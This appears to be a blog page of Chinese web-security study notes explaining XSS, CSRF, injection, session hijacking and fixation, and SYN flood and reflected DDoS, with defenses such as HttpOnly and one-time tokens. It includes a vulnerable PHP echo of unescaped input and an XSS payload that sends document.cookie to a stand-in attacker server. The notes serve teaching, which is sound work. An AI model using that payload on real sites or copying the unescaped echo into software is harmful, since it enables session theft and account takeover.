网络安全学习笔记

简介: <h3 style=""><span style="font-size:15px; line-height:1.6"> </span><span style="font-size:1.2rem; line-height:1.6">跨站脚本攻击(XSS Cross Site Script)</span></h3> <div style=""><span style="line-hei

 跨站脚本攻击(XSS Cross Site Script)

    一、定义:黑客通过“HTML注入”篡改了网页,插入了恶意的脚本,从而在用户游览网页时,控制用户游览器攻击的一种行为。
    二、分类:
    1.     反射性XSS:把用户输入的数据反射给游览器(诱使用户“点击”一个恶意的链接)篡改链接->用户访问->跳转执行脚本
 
 
<?php
echo $_GET["test"];
?>
用户提交:ip?test=<script>alert("test")</script>。游览器即会执行相应的脚本

    2. 存储型XSS:把用户输入的数据“存储”在服务器端。如黑客上传含有恶意Js代码的博客文章到网站服务器,访客游览网页博客时,在他们的游览器中恶意执行这段代码
    3. DOM Base XSS:通过修改网页DOM节点形成的XSS。当网站通过表单让用户输入内容而实现动态修改网页DOM节点的交互功能时,若黑客恶意构造特定格式脚本内容,就可能造成 DOM Base XSS。
    三、危害
    1. XSS可实现cookie劫持:攻击者可直接利用注入的js脚本获取cookie,进而通过异步请求把标识session id的cookie上报给攻击者。
比如可以在网站上嵌入 <script>window.open('hackerSever ?msg='+document.cookie)</script>。将用户cookie发送至攻击者的服务器,服务器获取用户cookie,攻击者即可利用其登录到用户账户中。
    2. 通过模拟GET、POST请求操作用户的游览器。如在用户登录邮箱后获取其邮件信息。(先通过正常抓包获取相应访问链接及其请求内容,再通过模拟请求获取)
    3. XSS钓鱼
    (1)XSS重定向钓鱼(XSS Redirect Phishing):将当前页面重定向到仿冒正常网站的页面中,进行欺诈活动
    (2)HTML注入式钓鱼(XSS HTML Inject Phishing):如动态嵌入一个Form表单,诱使用户填写相应信息进行盗取
    (3)XSS 跨框架钓鱼(Iframe Phishing):通过<Iframe>标签嵌入远程域的一个页面实施钓鱼。,而此时主页面依然处在正常网站的域名下,因此具有很高的迷惑性。
    四、XSS的防御
    1. 设置HttpOnly->防御Cookie劫持攻击,如果Cookie设置了HttpOnly,JS就读取不到Cookie的值。HttpOnly在服务器第一次返回发送Set-Cookie时(同时向客户端游览器写入Cookie)标记,它可以选择性地加在任何一个Cookie上
<?php
    header("Set-Cookie : cookie1;")
    header("Set-Cookie : cookie1;httponly", false);
?>
<script>
    alert(document.cookie);
</script>
    2.输入检查(XSS Filter):如对特殊符号进行转义,特殊语句进行检查过滤等。尤其对于富文本(用户提交一些自定义的HTML代码)“事件“应该被严格禁止,同时也应包括一些比较危险的标签如<iframe>、<script>、<base>、<form>等。

跨站点请求伪造(CSRF Cross Site Request Forgery)

   一、 定义:攻击者盗用用户身份,并以用户身份发送恶意请求。CSRF攻击是源于WEB的隐式身份验证机制。WEB的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器,但却无法保证该请求是用户批准发送的。一般来说,完成一次攻击需经过两步
1. 登录受信任网站A,并在本地生成Cookie
2. 在不登出A的情况下,访问危险网站B
    二、CSRF的防御
    1. 服务与客户端交互进行CSRF防御: 先构造third-party Cookie。同时在表单中增加经过hashing的cookie值随表单提交发送到服务器,在服务器获取cookie和表单加密Cookie进行hash校验。
    2. 验证码校验,用户每次提交请求需填写一个图片上的随机字符串,理论上可以完全解决CSRF的问题
    3. One-Time Tokens(不同的表单包含一个不同的伪随机值),实现思路:
         (1)编写token生成函数
         (2)在每次生成表单时,调用token生成函数,增添隐藏域存储token,考虑到 不同的表单包含一个不同的伪随机值,还需同时生成访问对应token的索引
         (3)服务端核对token,表单提交时,服务端根据提交的索引获取Session域对应token,与提交的token进行核对。

注入攻击与Session认证

   一、 注入攻击的本质,是把用户输入的数据当做代码执行。其中有两个关键点:
         1、用户能够控制输入。
         2、原本程序要执行的代码,平走了用户输入的数据
    二、Session安全
         当用户登录认证后,在服务器端就会创建一个新的会话(Session),会话中保存用户的状态和相关信息,同时生成一个游览器端对用户透明的凭证,即为SessionID
         1、Session劫持:黑客通过窃取用户SessionID后,使用该SessionID登录进目标用户。
         2、Session Fixation攻击:用户登录前后的SessionID未发生改变,就会存在此问题。具体的攻击过程为:攻击者先获取一个未认证的SessionID,并将其交给用户认证,若用户认证后,服务器并未更新此SessionID的值,攻击者就可以凭借此SessionID登录用户账户。如果SessionId保存在Cookie中,攻击者较难让用户使用这个SessionID,但如果由于youlan游览器不支持Cookie等原因,SessionID做为参数出现在URL时,攻击者只要诱使用户打开特定URL即可。而解决Session Fixation的正确做法,是在登录完成后,重写SessionID
         3、Session保持攻击,一般来说,Session是有生命周期的,当用户长时间未活动,或者注销用户后,用户Session将会被销毁。但如果攻击者窃取并一直持有用户有效的Session(比如间隔性的刷新网页),就能一直使用用户的账户,形成Session保持攻击。

应用层拒绝服务攻击(DDOS Distributed Denial of Service)

拒绝服务攻击以消耗服务器端资源为目的,构造大量请求数据想服务器端发送请求。

在Sever收到SYN,seq后,处于半连接状态,发送数据包并等待Client回应,由于Client在短时间内伪造大量不存在的IP地址,并向Server不断地发送SYN包,Server回复确认包,并等待Client的确认,由于源地址是不存在的,因此,Server需要不断重发直至超时,这些伪造的SYN包将产时间占用未连接队列,导致正常的SYN请求因为队列满而被丢弃,从而引起网络堵塞甚至系统瘫痪

      其中SYN Cookie是对抗SYN flood的主要措施之一,它的主要思想是为每一个IP地址分配一个"cookie",并统计每个IP地址的访问频率。如果在短时间内收到大量来自同一个IP地址的数据包,则认为受到攻击,之后来自这个IP地址的包将被丢弃。

分布反射式拒绝服务(DRDOS)

攻击流程如下所示:

黑客伪造受害者id
->向大量服务器发送请求
->大量服务器响应请求(发送应答包)
->受害者主机忙于处理







目录
相关文章
|
8月前
|
网络协议 Linux C++
Linux C/C++ 开发(学习笔记十二 ):TCP服务器(并发网络编程io多路复用epoll)
Linux C/C++ 开发(学习笔记十二 ):TCP服务器(并发网络编程io多路复用epoll)
131 0
|
8月前
|
网络协议 Linux C++
Linux C/C++ 开发(学习笔记十一 ):TCP服务器(并发网络网络编程 一请求一线程)
Linux C/C++ 开发(学习笔记十一 ):TCP服务器(并发网络网络编程 一请求一线程)
152 0
|
3月前
|
Ubuntu 网络安全 图形学
Ubuntu学习笔记(二):ubuntu20.04解决右上角网络图标激活失败或者消失,无法连接有线问题。
在Ubuntu 20.04系统中解决网络图标消失和无法连接有线网络问题的方法,其中第三种方法通过检查并确保Windows防火墙中相关服务开启后成功恢复了网络连接。
850 0
Ubuntu学习笔记(二):ubuntu20.04解决右上角网络图标激活失败或者消失,无法连接有线问题。
|
7月前
|
存储 算法 网络虚拟化
【计算机网络】学习笔记,第三篇:数据链路层
现在的光纤宽带接入 FTTx 都要使用 PPPoE 的方式进行接入。在 PPPoE 弹出的窗口中键入在网络运营商购买的用户名和密码,就可以进行宽带上网了 利用 ADSL 进行宽带上网时,从用户个人电脑到家中的 ADSL 调制解调器之间,也是使用 RJ-45 和 5 类线(即以太网使用的网线)进行连接的,并且也是使用 PPPoE 弹出的窗口进行拨号连接的
93 5
|
3月前
|
机器学习/深度学习 数据可视化 Linux
Seaborn可视化学习笔记(一):可视化神经网络权重分布情况
这篇文章是关于如何使用Seaborn库来可视化神经网络权重分布的教程,包括函数信息、测试代码和实际应用示例。
80 0
|
5月前
|
机器学习/深度学习 自然语言处理 并行计算
【深度学习+面经】Transformer 网络学习笔记
Transformer模型的核心概念、优缺点以及在多个领域的应用,并提供了针对Transformer架构的面试问题及答案。
215 2
|
8月前
|
监控 Java 数据库连接
【后台开发】TinyWebser学习笔记(1)网络编程基础知识
【后台开发】TinyWebser学习笔记(1)网络编程基础知识
64 3
|
8月前
|
网络协议 Docker 容器
Ubantu docker学习笔记(七)容器网络
Ubantu docker学习笔记(七)容器网络
|
机器学习/深度学习 计算机视觉 文件存储
【轻量化网络系列(3)】MobileNetV3论文超详细解读(翻译 +学习笔记+代码实现)
【轻量化网络系列(3)】MobileNetV3论文超详细解读(翻译 +学习笔记+代码实现)
3776 0
【轻量化网络系列(3)】MobileNetV3论文超详细解读(翻译 +学习笔记+代码实现)
|
机器学习/深度学习 编解码 计算机视觉
【轻量化网络系列(2)】MobileNetV2论文超详细解读(翻译 +学习笔记+代码实现)
【轻量化网络系列(2)】MobileNetV2论文超详细解读(翻译 +学习笔记+代码实现)
1452 0
【轻量化网络系列(2)】MobileNetV2论文超详细解读(翻译 +学习笔记+代码实现)

热门文章

最新文章